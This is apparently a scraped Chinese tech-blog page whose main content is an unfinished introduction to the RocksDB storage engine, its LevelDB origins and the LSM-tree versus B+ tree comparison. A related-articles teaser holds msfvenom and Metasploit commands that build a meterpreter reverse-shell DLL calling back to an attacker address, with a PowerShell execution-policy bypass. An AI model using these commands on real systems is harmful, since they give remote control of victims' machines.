RocksDB简介

news2024/11/15 19:33:57

一、RocksDB是什么

  • 常见的数据库如 Redis Mysql Mongo 可以单独提供网络服务
  • RocksDB提供存储服务,是一个嵌入式KV存储引擎
    • Rocksdb没有server code,用户需要自己实现server的部分来得到c-s架构的数据库。

二、RocksDB的诞生

  • 基于flash存储和ssd普及,网络latency在query workload latency中占据的比例越来越高。嵌入式数据库变得受欢迎。
  • dhruba尝试比较HBase/HDFS和mysql在query serving workload上的表现。经过多次优化后,在机械硬盘上,几pb的数据集下,hbase可以达到比Mysql慢两倍的查询速度。dhruba开始试图扩展hdfs/hbase的能力,使其能serve query workload。但是随着flash的普及,他发现hdfs对flash的使用效率不高。并且将hdfs/hbase改成嵌入式的难度太高,因此他决定开发新的数据库存储引擎。在这里插入图片描述3. 当时已有嵌入式数据库,leveldb是其中的佼佼者在这里插入图片描述
  • leveldb存在的问题
    1. 单线程compaction + flush,这导致写入速度不够快,并且还有stall的问题,latency p99太高。
    2. leveldb不能用到flash的所有IO能力。
      RocksDB基于LevelDB开发:

三、RocksDB的“社会关系”

  • RocksDB 是 facebook 基于 LevelDB 研发的一个嵌入式KV存储引擎,以C++ Library的形式提供使用(目前也已经支持Java)。
  • 分布式领域的三驾马车:
    • GFS 分布式文件系统
    • BigTable 分布式KV存储
    • MapReduce 基于分布式文件系统、分布式KV存储的大数据处理 在这里插入图片描述 - 两种使用方式:
      • 直接作为单机版KV数据库引擎使用: Flink采用RocksDBStateBackend来存储状态
      • 作为数据存储系统引擎使用: 在其上面实现分片和多副本,从而实现一个真正的分布式存储系统,以Rocksdb作为其某个副本的存储介质,上层通过Paxos或者Raft协议来保证副本之间的数据一致性。

四、RocksDB基本原理

4.1 整体架构

RocksDB是一个lsm-tree style的数据库在这里插入图片描述

4.2 LSM Tree

4.2.1 核心思想

内存顺序IO >> 内存随机IO ≈ 磁盘顺序IO >> 磁盘随机IO

4.2.2 对比: B+ 树

B+树是一个常用的存储结构,很多开源数据库都是基于B+树。在这里插入图片描述1. 主要优点:

  • 结构比较扁平,高度低(一般不超过4层),随机寻道次数少;
  • 数据存储密度大,且都位于叶子节点,查询稳定,遍历方便;
  • 叶子节点形成有序链表,范围查询转化为顺序读,效率高。相对而言B树必须通过中序遍历才能支持范围查询。
  1. 主要缺点:
  • 如果写入的数据比较离散,那么寻找写入位置时,子节点有很大可能性不会在内存中&#x

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115445.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WEB渗透权限维持篇-DLL注入\劫持

DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -…

MFC工控项目实例之十一板卡测试信号输入界面

承接专栏《MFC工控项目实例之十添加系统测试对话框》 相关代码 1、在BoardTest.h文件中添加代码 class CBoardTest : public CDialog { // Construction public:CBoardTest(CWnd* pParent NULL); // standard constructorCButtonST m_btnStart[16];CWinThread* pThread…

网络编程入门概念篇

1.网络编程-概念(套接字编程) 网络体系结构 网络体系结构指的是网络的层次结构和每一层所使用的协议的集合 实现网络传输的功能非常繁杂,所以采用了分而治之的设计方法,把网络的功能划分为不同的模块,以分层的形式有…

【机器学习】决策树与随机森林:模型对比与应用案例分析

文章目录 一.引言 在现代数据科学的世界中,决策树和随机森林是两个非常重要且广泛使用的机器学习算法。它们不仅因其高效性和强大的表现力而受到青睐,而且在解决实际问题时也表现出了令人印象深刻的能力。本篇文章将深入探讨这两个算法,帮助读…

JAVAEE初阶第七节(中)——物理原理与TCP_IP

系列文章目录 JAVAEE初阶第七节(中)——物理原理与TCP_IP 文章目录 系列文章目录JAVAEE初阶第七节(中)——物理原理与TCP_IP 一.应用层重点协议)1. DNS2 .NAT3. NAT IP转换过程 4 .NAPT5. NAT技术的缺陷6. HTTP/HTTPS…

秋夜思故人有感

秋夜思故人有感 西楼月影碎, 轩窗烛泪灰。 门前小犬吠, 疑是故人归。

仕考网:事业编考试考什么?

事业编考试科目为: 《职测》《综应》《公基》三选二 事业编有哪些招考形式? ①联考 多省份统一考试,考试时间、考试内容相同,每年两次,上半年5月和下半年10月各一次; ②单招 用人单位单独招聘,考试时间和内容自…

钉耙编程(8)

1007 cats 的 k-xor 分析&#xff1a; 1.是对x 取余 得到最后一位 标准答案代码&#xff1a; #include<bits/stdc.h> using namespace std; long long kxor(long long a,long long b,long long k){long long ans0,w1,c;while(a>0||b>0){c(ab)%k;a/k;b/k;ansc*w;w*…

研发效能DevOps: VSCode进行前端项目初始配置

目录 一、实验 1.环境 2.安装Node.js 3.初始化前端项目 二、问题 1.cnpm安装报错 2.如何删除cnpm与指定cnpm版本 3.前端项目运行报错 4.node版本与npm版本对应关系如何查询 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 系统 软件版本备注Windows11VS …

C++之map和set的基本操作

目录 set的基本操作 元素的插入 元素的遍历 元素的查找 元素的删除 multiset的基本操作 count接口 元素的查找 元素的删除 map的基本操作 元素的插入 元素的遍历 元素的查找 元素的删除 operator[ ]接口 multimap的基本操作 在之前我们已经学过了vector&…

录屏新秀Top3 VS班迪录屏 ,谁更胜一筹?

现在是数字时代哈&#xff0c;录屏软件那可是咱生活和工作里特别重要的小玩意儿。比如说制作教学视频、搞游戏直播或者记录工作会议啥的&#xff0c;一款好的录屏软件能让咱效率高高的。今天呢&#xff0c;咱们就来对比一下新推出的三款录屏软件和那个老牌的班迪录屏&#xff0…

【一文读懂】NTN(非地面网络)技术介绍

一、引言 随着科技的飞速发展&#xff0c;全球通信需求日益增长&#xff0c;特别是在偏远地区或服务欠缺地区&#xff0c;传统的地面网络往往难以覆盖。为此&#xff0c;基于5G标准的卫星对地通信技术应运而生&#xff0c;构建了一个全新的通信领域——非地面网络&#xff08;…

spring的xml配置文件爆红(原因以及解决办法)

1&#xff09;出现这个原因是因为spring-framework依赖没有导入 可以看到依赖已经导入了 2&#xff09;第二种原因:我们打开maven工程就是不出现右上角刷新的按钮&#xff0c;导致我们无法导入依赖 解决办法如下

书生大模型全链路开源开放体系笔记

书生哺语2.5概览 支持100万字上下文自助规划和搜索完成复杂任务(通过信息搜索和整合&#xff0c;针对复杂问题撰写专业回答&#xff0c;效率提升60倍) 可以提问文档中100万token中任何一个部分的问题&#xff0c;也有弊端就是不能联系上下文 核心技术思路 高质量合成数据 已经…

队列基础知识-Java

基本概念 队列&#xff08;Queue&#xff09;是一个有序的元素集合&#xff0c;其中新元素总是被添加到队尾&#xff0c;而删除操作则发生在队头。 这种特性使得队列成为一种线性数据结构&#xff0c;其操作遵循FIFO(先入先出)原则。 图解 环形队列注意点&#xff1a; 1 有效…

代码随想录算法训练营第54天|卡码网 110. 字符串接龙、105.有向图的完全可达性、106.岛屿的周长

1. 卡码网 110. 字符串接龙 题目链接&#xff1a;https://kamacoder.com/problempage.php?pid1183 文章链接&#xff1a;https://www.programmercarl.com/kamacoder/0110.字符串接龙.html 思路&#xff1a; 本题只需要求出最短路径的长度就可以了&#xff0c;不用找出具体路径…

解决面板安装Node.js和npm后无法使用的问题

使用面板&#xff08;BT&#xff09;安装Node.js和npm后&#xff0c;可能会遇到如下问题&#xff1a;即使成功安装了Node.js和npm&#xff0c;服务器仍提示“未安装”&#xff0c;在命令行中使用 node -v 或 npm -v 也没有任何响应。这种问题通常是由于环境变量配置错误或路径问…

Matlab中BaseZoom()函数实现曲线和图片的局部放大

BaseZoom工具下载链接&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1yItVSinh6vU4ImlbZW6Deg?pwd9dyl 提取码&#xff1a;9dyl 下载完之后将工具包放置合适的路径下&#xff0c;并在matlab中“设置路径”中添加相应的路径&#xff1b; 注&#xff1a;可以先运行如…

【C++ Primer Plus习题】12.2

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: main.cpp #include <iostream> #include "String.h"…